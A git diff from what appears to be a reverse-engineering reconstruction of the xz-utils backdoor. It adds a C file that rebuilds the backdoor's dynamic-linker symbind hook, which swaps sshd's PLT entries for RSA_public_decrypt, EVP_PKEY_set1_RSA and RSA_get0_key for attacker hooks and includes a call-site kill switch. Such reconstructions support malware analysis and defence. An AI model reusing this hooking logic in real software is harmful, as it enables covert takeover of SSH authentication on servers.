diff --git a/xzre.h b/xzre.h
index 173b963..42ca81f 100644
--- a/xzre.h
+++ b/xzre.h
@@ -1013,17 +1013,17 @@ typedef struct __attribute__((packed)) imported_funcs {
 	 * @brief address of the PLT for RSA_public_decrypt() in sshd
 	 * 
 	 */
-	void *RSA_public_decrypt_plt;
+	pfn_RSA_public_decrypt_t *RSA_public_decrypt_plt;
 	/**
 	 * @brief address of the PLT for EVP_PKEY_set1_RSA() in sshd
 	 * 
 	 */
-	void *EVP_PKEY_set1_RSA_plt;
+	pfn_EVP_PKEY_set1_RSA_t *EVP_PKEY_set1_RSA_plt;
 	/**
 	 * @brief address of the PLT for RSA_get0_key() in sshd
 	 * 
 	 */
-	void *RSA_get0_key_plt;
+	pfn_RSA_get0_key_t *RSA_get0_key_plt;
 	void (*DSA_get0_pqg)(
 		const DSA *d, const BIGNUM **p,
 		const BIGNUM **q, const BIGNUM **g);
@@ -3958,7 +3958,10 @@ extern u32 resolver_call_count;
 static_assert(sizeof(resolver_call_count) == 0x4);
 
 extern global_context_t *global_ctx;
-static_assert(sizeof(global_ctx) == 0x8);
+static_assert(sizeof(global_ctx) == sizeof(void *));
+
+extern backdoor_hooks_data_t *hooks_data;
+static_assert(sizeof(hooks_data) == sizeof(void *));
 
 /**
  * @brief location of backdoor_hooks_data_t
diff --git a/xzre.lds.in b/xzre.lds.in
index 60b1f8b..1f5a807 100644
--- a/xzre.lds.in
+++ b/xzre.lds.in
@@ -192,7 +192,7 @@ SECTIONS_BEGIN()
 SECTIONS_END(.data.rel.ro)
 
 SECTIONS_BEGIN()
-	/* 000000000000CB10 */ DEFSYM(hooks_data_addr, .bss.filter_optionz)
+	/* 000000000000CB10 */ DEFSYM(hooks_data, .bss.filter_optionz)
 	/* 000000000000CB18 */ DEFSYM(global_ctx, .bss.lzma12_codez)
 	/* 000000000000CB20 */ DEFSYM(resolver_call_count, .bss.__intr2)
 SECTIONS_END(.bss)
diff --git a/xzre_code/CMakeLists.txt b/xzre_code/CMakeLists.txt
index 14c0e34..a5d5d15 100644
--- a/xzre_code/CMakeLists.txt
+++ b/xzre_code/CMakeLists.txt
@@ -1,5 +1,6 @@
 add_library(xzre_code
 	backdoor_entry.c
+	backdoor_symbind64.c
   	c_memmove.c
 	c_strlen.c
 	c_strnlen.c
diff --git a/xzre_code/backdoor_symbind64.c b/xzre_code/backdoor_symbind64.c
new file mode 100644
index 0000000..a2bdc72
--- /dev/null
+++ b/xzre_code/backdoor_symbind64.c
@@ -0,0 +1,107 @@
+/**
+ * Copyright (C) 2024 Stefano Moioli <smxdev4@gmail.com>
+ **/
+#include "xzre.h"
+#include <elf.h>
+
+#define PLT_VALID(x) (UPTR(x) > 0xFFFFFF)
+
+uintptr_t backdoor_symbind64(
+	Elf64_Sym *sym,
+	unsigned int ndx,
+	uptr *refcook, uptr *defcook,
+	unsigned int flags,
+	const char *symname
+)
+{
+	imported_funcs_t *funcs = &hooks_data->imported_funcs;
+	ldso_ctx_t *ldso = &hooks_data->ldso_ctx;
+
+	if(ldso->hooks_installed){
+		goto orig;
+	}
+
+	void *retaddr = __builtin_return_address(0);
+
+	void *_dl_audit_symbind_alt = ldso->_dl_audit_symbind_alt;
+	void *__libc_stack_end = hooks_data->libc_imports.__libc_stack_end;
+
+	#define HOOK_INSTALL(orig, plt, hook) do { \
+		(orig) = *(plt); \
+		*(plt) = (hook); \
+		/* updates the symbol if it's in ldso scope? */ \
+		if(UPTR(sym) > UPTR(retaddr) && UPTR(sym) < UPTR(__libc_stack_end)) \
+			sym->st_value = (Elf64_Addr)(hook); \
+	} while(0)
+
+	// trigger kill switch if the call site is not in ldso region
+	if(retaddr <= _dl_audit_symbind_alt) goto kill_switch;
+
+	uintptr_t func_end_addr = PTRADD(_dl_audit_symbind_alt, hooks_data->ldso_ctx._dl_audit_symbind_alt);
+	uintptr_t offset_in_function = PTRDIFF(retaddr, _dl_audit_symbind_alt);
+	if(offset_in_function > func_end_addr) goto kill_switch;
+
+	EncodedStringId string_id = get_string_id(symname, NULL);
+	BOOL plt_entry_valid;
+
+	/**
+	 * only one of the following hooks will be installed (the first that passes the checks).
+	 * the other ones are fallbacks (alternative entry points) in case the first one doesn't hit.
+	 */
+
+	if(string_id == STR_RSA_public_decrypt && funcs->RSA_public_decrypt_plt){
+		if(PLT_VALID(*funcs->RSA_public_decrypt_plt)){
+			HOOK_INSTALL(
+				funcs->RSA_public_decrypt,
+				funcs->RSA_public_decrypt_plt,
+				ldso->hook_RSA_public_decrypt
+			);
+		}
+		// RSA_public_decrypt is "standalone" (doesn't need further hooks)
+		goto symbind_reset;
+	} else if(string_id == STR_EVP_PKEY_set1_RSA && funcs->EVP_PKEY_set1_RSA_plt){
+		if(PLT_VALID(*funcs->EVP_PKEY_set1_RSA_plt)){
+			HOOK_INSTALL(
+				funcs->EVP_PKEY_set1_RSA,
+				funcs->EVP_PKEY_set1_RSA_plt,
+				ldso->hook_EVP_PKEY_set1_RSA
+			);
+
+			// EVP_PKEY_set1_RSA depends on RSA_get0_key to be also hooked
+			if(!funcs->RSA_get0_key_plt) {
+				goto symbind_reset;
+			}
+			plt_entry_valid = PLT_VALID(*funcs->RSA_get0_key_plt);
+		}
+	} else if(string_id == STR_RSA_get0_key && funcs->RSA_get0_key_plt){
+		if(PLT_VALID(*funcs->RSA_get0_key_plt)){
+			HOOK_INSTALL(
+				// ??
+				funcs->RSA_get0_key_null,
+				funcs->RSA_get0_key_plt,
+				ldso->hook_RSA_get0_key
+			);
+			// RSA_get0_key depends on EVP_PKEY_set1_RSA to be also hooked
+			if(!funcs->EVP_PKEY_set1_RSA_plt){
+				goto symbind_reset;
+			}
+			plt_entry_valid = PLT_VALID(*funcs->EVP_PKEY_set1_RSA_plt);
+		}
+	} else {
+		goto orig;
+	}
+
+	/** if the hook has been installed successfully */
+	if(plt_entry_valid){
+		symbind_reset:	
+		init_ldso_ctx(&hooks_data->ldso_ctx);
+
+		kill_switch:
+		hooks_data->ldso_ctx.hooks_installed = TRUE;
+	}
+
+	orig:
+	return sym->st_value;
+
+	#undef HOOK_INSTALL
+}
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